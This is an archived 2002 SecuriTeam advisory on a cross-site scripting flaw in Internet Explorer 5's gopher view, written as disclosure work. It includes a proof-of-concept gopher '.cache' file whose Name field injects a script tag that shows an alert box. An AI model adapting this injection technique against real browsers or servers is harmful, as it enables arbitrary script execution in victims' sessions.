

[NT] IE Gopher View Cross Site Scripting

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0068.html>

From: support@securiteam.com

Date: 06/17/02

From: support@securiteam.com

To: list@securiteam.com

Date: Mon, 17 Jun 2002 22:01:56 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

IE Gopher View Cross Site Scripting

SUMMARY

Internet Explorer 5 allows cross site scripting while its in gopher view.

This would allow an attacker to cause the execution of arbitrary JavaScript and HTML.

DETAILS

Impact:

The usual cross site scripting attack consequences are subject here. Your script must fit into a finite amount of character space or it will be truncated thus making it fail.

Exploit:

In order to duplicate this attack you can use gn gohperd, and add the following malicious ".cache" file:

```
Name=<script>alert('When can we see the source code bill?')</script>
```

```
Path=0/hrmm
```

```
Type=0
```

```
Host=10.0.1.234
```

```
Port=70
```

Next open the link <gopher://10.0.1.234/1> <gopher://10.0.1.234/1>, and an alert box will appear.

Securiteam: [NT] IE Gopher View Cross Site Scripting

ADDITIONAL INFORMATION

The information has been provided by <mailto:dotslash@snosoft.com> KF.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- *Previous message:* support@securiteam.com: "[NT] IE CSS Parsing Error (cssText)"
 - *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)